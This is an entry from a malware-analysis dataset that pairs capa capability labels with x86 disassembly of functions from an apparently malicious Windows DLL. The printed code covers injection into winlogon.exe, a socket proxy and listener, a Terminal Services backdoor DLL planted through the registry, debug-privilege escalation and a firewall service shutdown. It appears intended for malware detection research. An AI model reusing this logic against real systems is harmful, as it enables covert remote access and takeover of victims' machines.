joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005df0
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0xf8
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ebp
push esi
push edi
push str.OpenProcess
push str.kernel32.dll
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push str.lstrcatA
push str.kernel32.dll
mov edi, eax
call ebx
push eax
call esi
mov dword [esp + 0x10], eax
call fcn.10005c00
mov eax, dword [esp + 0x10c]
push eax
call fcn.10010380
add esp, 4
push eax
push 0
push 0x1f0fff
call edi
mov ebp, eax
test ebp, ebp
jne 0x10005e5c
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xf8
ret
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x14]
push str.advapi32.dll
rep stosd dword es:[edi], eax
call ebx
mov edi, eax
push str.OpenSCManagerA
push edi
call esi
push str.OpenServiceA
push edi
mov dword [esp + 0x1c], eax
call esi
push str.QueryServiceStatus
push edi
mov dword [esp + 0x20], eax
call esi
push str.ControlService
push edi
mov dword [esp + 0x24], eax
call esi
push str.StartServiceA
push edi
mov dword [esp + 0x28], eax
call esi
push str.DeleteService
push edi
mov dword [esp + 0x2c], eax
call esi
push str.CloseServiceHandle
push edi
mov dword [esp + 0x30], eax
call esi
push edi
mov dword [esp + 0x30], eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push str.shlwapi.dll
call ebx
mov edi, eax
push str.SHDeleteKeyA
push edi
call esi
push edi
mov dword [esp + 0x34], eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push str.kernel32.dll
call ebx
mov edi, eax
push str.Sleep
push edi
call esi
push str.CloseHandle
push edi
mov dword [esp + 0x40], eax
call esi
push edi
mov dword [esp + 0x38], eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [esp + 0x110]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [esp + 0x40]
push ecx
push edx
call esi
lea eax, [esp + 0xa4]
push str.SYSTEMCurrentControlSetServices_
push eax
call esi
lea ecx, [esp + 0x40]
lea edx, [esp + 0xa4]
push ecx
push edx
call dword [esp + 0x18]
push 4
push 0x1000
push 0xf4
push 0
push ebp
call dword [0x10021b04]
mov esi, eax
test esi, esi
jne 0x10005f6e
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xf8
ret
push 0
lea eax, [esp + 0x18]
push 0xf4
push eax
push esi
push ebp
call dword [0x10021b08]
test eax, eax
jne 0x10005f93
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xf8
ret
push 0x40
push 0x1000
push 0x2800
push 0
push ebp
call dword [0x10021b04]
mov edi, eax
test edi, edi
jne 0x10005fbb
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xf8
ret
push 0
push 0x2800
push 0x10005cb0
push edi
push ebp
call dword [0x10021b08]
test eax, eax
jne 0x10005fe0
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xf8
ret
push 0
push 0
push esi
push edi
push 0
push 0
push ebp
call dword [0x10021b0c]
pop edi
pop esi
test eax, eax
pop ebp
pop ebx
setne al
add esp, 0xf8
ret
Function at 0x10006530
Capabilities:
Send data
Send data on socket
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push edi
push str.CreateThread
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x10], eax
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x10f]
mov byte [ebp - 0x110], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
xor esi, esi
push 0x10021ae8
stosb byte es:[edi], al
mov dword [ebp - 8], esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edi, dword [0x10021e14]
push 0x10021ae8
inc edi
mov dword [0x10021e14], edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edi, dword [ebp + 0x10]
lea eax, [ebp - 4]
push eax
push edi
mov dword [ebp - 4], esi
call fcn.10006400
add esp, 8
cmp eax, esi
je 0x100066db
mov ebx, dword [ebp + 8]
cmp eax, 1
je 0x10006632
cmp eax, 2
je 0x10006632
cmp eax, 3
je 0x10006632
cmp eax, 4
jne 0x100066a3
mov eax, dword [ebp - 4]
lea ecx, [ebp - 8]
push ecx
mov ecx, dword [ebp + 0x14]
lea edx, [ebp - 0x110]
sub ecx, eax
push edx
add eax, edi
push ecx
push eax
call fcn.10006370
mov edx, dword [ebp - 8]
lea eax, [ebp - 0x110]
push edx
lea ecx, [ebx + 4]
push eax
push ecx
call fcn.10006bd0
add esp, 0x1c
test eax, eax
je 0x100066db
mov edi, str.HTTP_1.0_200_OK_r_n_r_n
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [ebx]
repne scasb al, byte es:[edi]
not ecx
push esi
push ecx
push str.HTTP_1.0_200_OK_r_n_r_n
push edx
call dword [sym.imp.WS2_32.dll_send]
jmp 0x100066a3
mov eax, dword [ebp - 4]
mov esi, dword [ebp + 0x14]
mov ecx, dword [ebp + 0xc]
push eax
push esi
push edi
push ecx
call fcn.100064a0
add esp, 0x10
mov dword [ebp + 0x14], eax
test eax, eax
je 0x100066db
lea edx, [ebp - 8]
lea eax, [ebp - 0x110]
push edx
push eax
mov eax, dword [ebp - 4]
sub esi, eax
sub esi, 7
lea ecx, [eax + edi + 7]
push esi
push ecx
call fcn.10006370
mov edx, dword [ebp - 8]
lea eax, [ebp - 0x110]
lea esi, [ebx + 4]
push edx
push eax
push esi
call fcn.10006bd0
add esp, 0x1c
test eax, eax
je 0x100066db
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp + 0xc]
mov eax, dword [esi]
push 0
push ecx
push edx
push eax
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x100066db
cmp dword [ebx], 0
je 0x100066db
mov eax, dword [ebx + 4]
test eax, eax
je 0x100066db
lea ecx, [ebp - 0xc]
push ecx
push 0
push ebx
push 0x10007670
push 0
push 0
call dword [ebp - 0x10]
test eax, eax
je 0x100066cf
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100066f0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
sub esp, 0x204
push ebp
mov ebp, dword [esp + 0x210]
push esi
push edi
mov al, byte [ebp]
mov byte [esp + 0xe], 5
cmp al, 5
mov byte [esp + 0xf], 0
je 0x10006720
pop edi
pop esi
and eax, 0xff
pop ebp
add esp, 0x204
ret
mov al, byte [ebp + 2]
lea esi, [ebp + 2]
test al, al
je 0x1000673a
cmp al, 2
je 0x1000673a
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
mov edi, 0x10021b14
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push eax
neg ecx
sbb cl, cl
lea eax, [esp + 0x12]
and ecx, 2
push 2
mov byte [esp + 0x17], cl
mov ecx, dword [esp + 0x21c]
push eax
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x1000677d
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
cmp byte [esp + 0xf], 2
jne 0x100068d3
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x10]
push eax
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x114]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x218]
push 0x5000
push ebp
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x100068c7
test eax, eax
je 0x100068c7
cmp byte [ebp], 1
je 0x100067dd
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
mov al, byte [ebp + 1]
test al, al
je 0x10006806
mov ecx, eax
and ecx, 0xff
cmp ecx, 0x100
jg 0x10006806
mov edx, ecx
lea edi, [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
and eax, 0xff
add eax, ebp
movsx ecx, byte [eax + 2]
test ecx, ecx
je 0x10006835
cmp ecx, 0x100
jg 0x10006835
lea esi, [eax + 3]
mov eax, ecx
lea edi, [esp + 0x110]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea esi, [esp + 0x10]
mov eax, 0x10021b14
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x10006862
test cl, cl
je 0x1000685e
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x10006862
add eax, 2
add esi, 2
test cl, cl
jne 0x1000683e
xor eax, eax
jmp 0x10006867
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x100068a9
lea esi, [esp + 0x110]
mov eax, 0x10021c14
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x1000689b
test cl, cl
je 0x10006897
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x1000689b
add eax, 2
add esi, 2
test cl, cl
jne 0x10006877
xor eax, eax
jmp 0x100068a0
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x100068a9
mov byte [ebp + 1], al
jmp 0x100068ad
mov byte [ebp + 1], 0xff
mov eax, dword [esp + 0x214]
push 0
push 2
push ebp
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x100068d3
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x204
ret
Function at 0x100068f0
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x18
push 0x10021ad4
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
mov dword [esp + 4], eax
je 0x100069a4
push ebx
mov ebx, dword [esp + 0x20]
push ebp
push esi
push edi
mov dword [esp + 0x10], 0
mov ecx, dword [eax + 0xc]
mov edx, dword [esp + 0x10]
cmp dword [ecx + edx], 0
je 0x100069ac
xor edx, edx
mov byte [ebx], 0
cmp word [eax + 0xa], dx
jle 0x1000699a
test edx, edx
jle 0x10006964
mov edi, 0x10020234
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x14]
mov ecx, ebp
and ecx, 3
inc edx
rep movsb byte es:[edi], byte [esi]
movsx ecx, word [eax + 0xa]
cmp edx, ecx
jl 0x10006936
add dword [esp + 0x10], 4
jmp 0x1000691a
mov eax, dword [esp + 0x1c]
add esp, 0x18
ret
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret

Function at 0x100069c0
Capabilities:
Resolve dns

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x100069d0
ret
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
ret

Function at 0x10006bd0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
sub esp, 0x10
mov ecx, dword [esp + 0x1c]
xor eax, eax
mov dword [esp], eax
push esi
mov dword [esp + 8], eax
push edi
mov dword [esp + 0x10], eax
push ecx
mov dword [esp + 0x18], eax
mov word [esp + 0xc], 2
call dword [sym.imp.WS2_32.dll_htons]
mov esi, dword [esp + 0x20]
mov edi, dword [sym.imp.WS2_32.dll_inet_addr]
push esi
mov word [esp + 0xe], ax
call edi
cmp eax, 0xffffffff
push esi
jne 0x10006c27
call fcn.100069c0
add esp, 4
test eax, eax
je 0x10006c82
push esi
call fcn.100069c0
add esp, 4
push eax
call edi
push 6
push 1
push 2
mov dword [esp + 0x18], eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, dword [esp + 0x1c]
cmp eax, 0xffffffff
mov dword [esi], eax
je 0x10006c82
lea edx, [esp + 0x24]
push 4
push edx
push 0x1006
push 0xffff
push eax
mov dword [esp + 0x38], 0x258
call dword [sym.imp.WS2_32.dll_setsockopt]
mov ecx, dword [esi]
lea eax, [esp + 8]
push 0x10
push eax
push ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10006c8a
mov edx, dword [esi]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
xor eax, eax
pop esi
add esp, 0x10
ret
pop edi
mov eax, 1
pop esi
add esp, 0x10
ret
Function at 0x10006ca0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
mov ebx, dword [esp + 0x10]
push esi
mov esi, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0x10]
push ebx
push esi
push edi
call fcn.100066f0
add esp, 0xc
test eax, eax
je 0x10006d47
cmp eax, 4
jne 0x10006ce8
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
push eax
push ecx
push 2
push ebx
push esi
call fcn.100069e0
add esp, 0x14
neg eax
sbb eax, eax
pop edi
pop esi
and eax, 4
pop ebx
ret
mov edx, dword [edi]
push 0
push 0x5000
push esi
push edx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x10006d47
test eax, eax
je 0x10006d47
cmp byte [esi], 5
jne 0x10006d47
mov cl, byte [esi + 3]
cmp cl, 1
je 0x10006d14
cmp cl, 3
jne 0x10006d47
mov edx, dword [esp + 0x20]
and ecx, 0xff
push edx
mov edx, dword [esp + 0x20]
push edx
push ecx
push eax
push esi
call fcn.100069e0
add esp, 0x14
test eax, eax
je 0x10006d47
mov al, byte [esi + 1]
cmp al, 1
je 0x10006d3e
cmp al, 3
jne 0x10006d47
pop edi
pop esi
and eax, 0xff
pop ebx
ret
pop edi
pop esi
xor eax, eax
pop ebx
ret

Function at 0x10006d50
Capabilities:
Create udp socket
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x124
xor eax, eax
push esi
mov dword [esp + 8], eax
push 0x11
mov dword [esp + 0x10], eax
push 2
mov dword [esp + 0x18], eax
push 2
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], 0x10
mov word [esp + 0x24], 2
mov dword [esp + 0x28], eax
mov word [esp + 0x26], ax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10006d9e
xor eax, eax
pop esi
add esp, 0x124
ret
lea ecx, [esp + 0x18]
push 0x10
push ecx
push esi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x10006dbb
xor eax, eax
pop esi
add esp, 0x124
ret
mov edx, dword [esp + 0x130]
lea eax, [esp + 4]
lea ecx, [esp + 8]
push eax
push ecx
push esi
mov dword [edx], esi
call dword [sym.imp.WS2_32.dll_getsockname]
lea edx, [esp + 0x28]
push edx
call fcn.100068f0
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, dword [esp + 0x12c]
pop esi
mov dword [ecx + 4], eax
mov ax, word [esp + 6]
mov word [ecx + 8], ax
mov eax, 1
add esp, 0x124
ret
Function at 0x10007100
Capabilities:
Create tcp socket
Initialize winsock library
Start tcp server

Disassembly:
sub esp, 0x1a8
push edi
push str.CreateThread
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 0x14], eax
lea eax, [esp + 0x1c]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x10007208
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x10007208
mov dx, word [0x10021ae0]
xor ecx, ecx
mov dword [esp + 6], ecx
push edx
mov dword [esp + 0xe], ecx
mov word [esp + 8], 2
mov dword [esp + 0x12], ecx
mov word [esp + 0x16], cx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 6], ax
lea eax, [esp + 4]
push 0x10
push eax
push edi
mov dword [esp + 0x14], 0
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x10007208
push ebx
push ebp
push esi
push 0x32
push edi
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
jne 0x100071b7
pop esi
pop ebp
pop ebx
xor eax, eax
pop edi
add esp, 0x1a8
ret
mov ebx, dword [sym.imp.WS2_32.dll_accept]
mov ebp, dword [sym.imp.MSVCRT.dll_malloc]
push 0
push 0
push edi
call ebx
push 8
mov esi, eax
call ebp
add esp, 4
test eax, eax
je 0x100071c3
lea ecx, [esp + 0x24]
mov dword [eax], esi
push ecx
push 0
push eax
push 0x10006e10
push 0
push 0
call dword [esp + 0x38]
test eax, eax
jne 0x100071ff
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x100071c3
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x100071c3
xor eax, eax
pop edi
add esp, 0x1a8
ret

Function at 0x100073c0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push ebp
push esi
mov esi, dword [esp + 0x18]
push edi
xor edi, edi
test esi, esi
jle 0x100073fb
mov ebx, dword [esp + 0x24]
mov ebp, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
push ebx
push ebp
push 0
lea ecx, [edi + eax]
push esi
push ecx
push edx
call dword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
je 0x10007402
sub esi, eax
add edi, eax
test esi, esi
jg 0x100073d6
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret

Function at 0x10007be0
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
lea eax, [esp]
mov dword [esp], 0x9c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 4], 5
jne 0x10007c0d
mov ecx, dword [esp + 8]
mov eax, 1
cmp ecx, eax
je 0x10007c0f
xor eax, eax
add esp, 0x9c
ret

Function at 0x10007c20
Capabilities:
Start service

Disassembly:
push edi
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x10007c65
mov eax, dword [esp + 8]
push ebx
push esi
push 0x10010
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
test esi, esi
je 0x10007c60
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push esi
call ebx
push edi
call ebx
pop esi
pop ebx
pop edi
ret
Function at 0x10007c70
Capabilities:
Copy file
Set file attributes
Write file on windows

Disassembly:
sub esp, 0x208
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.GetSystemDirectoryA
push str.KERNEL32.dll
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0
push 2
push 0
push 4
push str.Start
push str.SYSTEMCurrentControlSetServicesTermService
push reloc.WS2_32.dll_bind
mov edi, eax
call fcn.10009bd0
push 0
push 0
push 0x100206a0
push 1
push str.KeepRASConnections
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push reloc.WS2_32.dll_bind
call fcn.10009bd0
push 0
push 0
push 0
push 4
push str.fDenyTSConnections
push str.SYSTEMCurrentControlSetControlTerminal_Server
push reloc.WS2_32.dll_bind
call fcn.10009bd0
add esp, 0x54
push 0
push 1
push 0
push 4
push str.EnableConcurrentSessions
push str.SYSTEMCurrentControlSetControlTerminal_ServerLicensing_Core
push reloc.WS2_32.dll_bind
call fcn.10009bd0
add esp, 0x1c
call fcn.10007be0
test al, al
je 0x10007dea
push str.lstrcatA
push str.KERNEL32.dll
call esi
push eax
call ebx
push 0
push 0
push str._SystemRoot__system32_termsrvhack.dll
push 2
push str.ServiceDll
push str.SYSTEMCurrentControlSetServicesTermServiceParameters
push reloc.WS2_32.dll_bind
mov esi, eax
call fcn.10009bd0
add esp, 0x1c
lea eax, [esp + 0xc]
push 0x104
push eax
call edi
lea ecx, [esp + 0x110]
push 0x104
push ecx
call edi
lea edx, [esp + 0xc]
push str._termsrvhack.dll
push edx
call esi
lea eax, [esp + 0x110]
push str.dllcache_termsrvhack.dll
push eax
call esi
lea ecx, [esp + 0xc]
push 0x1002050c
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
mov edx, dword [esp + 0x224]
mov esi, eax
mov eax, dword [esp + 0x220]
push esi
push 1
push edx
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x1c
lea ecx, [esp + 0x110]
lea edx, [esp + 0xc]
push 0
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [esp + 0xc]
push 7
push eax
call esi
lea ecx, [esp + 0x110]
push 7
push ecx
call esi
push str.TermService
call fcn.10007c20
add esp, 4
xor al, al
pop edi
pop esi
pop ebx
add esp, 0x208
ret
Function at 0x10008220
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x14
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.GetCurrentProcess
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
lea ecx, [esp + 8]
push ecx
push 0x20
call eax
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x100082a4
lea edx, [esp + 0x10]
push edx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov ecx, dword [esp + 8]
push 0
push 0
lea eax, [esp + 0x14]
push 0x10
push eax
push 0
push ecx
mov dword [esp + 0x24], 1
mov dword [esp + 0x30], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push str.GetLastError
push str.KERNEL32.dll
call esi
push eax
call edi
call eax
neg eax
sbb eax, eax
inc eax
pop edi
pop esi
add esp, 0x14
ret

Function at 0x100082b0
Capabilities:
Query service status
Stop service

Disassembly:
sub esp, 0x1c
push esi
push edi
call fcn.10008220
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
push 0xf01ff
push str.sharedaccess
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
lea eax, [esp + 8]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [esp + 0xc], 1
je 0x100082ff
lea ecx, [esp + 8]
push ecx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
pop edi
mov eax, 1
pop esi
add esp, 0x1c
ret
Function at 0x100086d0
Capabilities:
Delete file
Move file
Query environment variable

Disassembly:
sub esp, 0x32c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.GetSystemDirectoryA
mov edi, ecx
push str.kernel32.dll
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.lstrcatA
push str.kernel32.dll
mov ebp, eax
call esi
push eax
call ebx
mov ebx, eax
mov eax, dword [0x10021f34]
push str.PPPPPP
push eax
call fcn.10004da0
add esp, 8
mov esi, eax
lea ecx, [esp + 0x238]
add esi, 6
push 0x104
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
lea edx, [esp + 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov eax, dword [esp + 0x2c]
mov ecx, dword [esp + 0x2a]
mov edx, dword [esp + 0x28]
and eax, 0xffff
and ecx, 0xffff
push eax
mov eax, dword [esp + 0x2a]
and edx, 0xffff
push ecx
mov ecx, dword [esp + 0x2a]
push edx
mov edx, dword [esp + 0x2c]
and eax, 0xffff
and ecx, 0xffff
push eax
and edx, 0xffff
push ecx
push edx
lea eax, [esp + 0x48]
push str._d_d_d_d_d_d.bak
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x20
lea ecx, [esp + 0x30]
lea edx, [esp + 0x238]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 4
lea eax, [esp + 0x34]
push 0
push eax
call dword [0x10021b00]
lea ecx, [esp + 0x134]
push 0x104
push ecx
call ebp
lea edx, [esp + 0x134]
push str.office.log
push edx
call ebx
lea eax, [esp + 0x134]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov al, 0x6f
mov cl, 0x6e
mov byte [esp + 0x14], al
mov byte [esp + 0x16], al
mov al, 0x65
mov byte [esp + 0x10], 0x77
mov byte [esp + 0x19], al
mov byte [esp + 0x1b], al
mov eax, dword [edi + 0x9e54]
mov byte [esp + 0x11], 0x69
cmp eax, 0x120
mov byte [esp + 0x12], cl
mov byte [esp + 0x13], 0x6c
mov byte [esp + 0x15], 0x67
mov byte [esp + 0x17], cl
mov byte [esp + 0x18], 0x2e
mov byte [esp + 0x1a], 0x78
mov byte [esp + 0x1c], 0
je 0x1000884c
lea ecx, [edi + 0x10]
lea edx, [esp + 0x10]
push ecx
push edx
call fcn.10005df0
add esp, 8
jmp 0x10008858
lea eax, [edi + 0x10]
push eax
call fcn.10004c10
add esp, 4
add edi, 0x110
push edi
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x32c
ret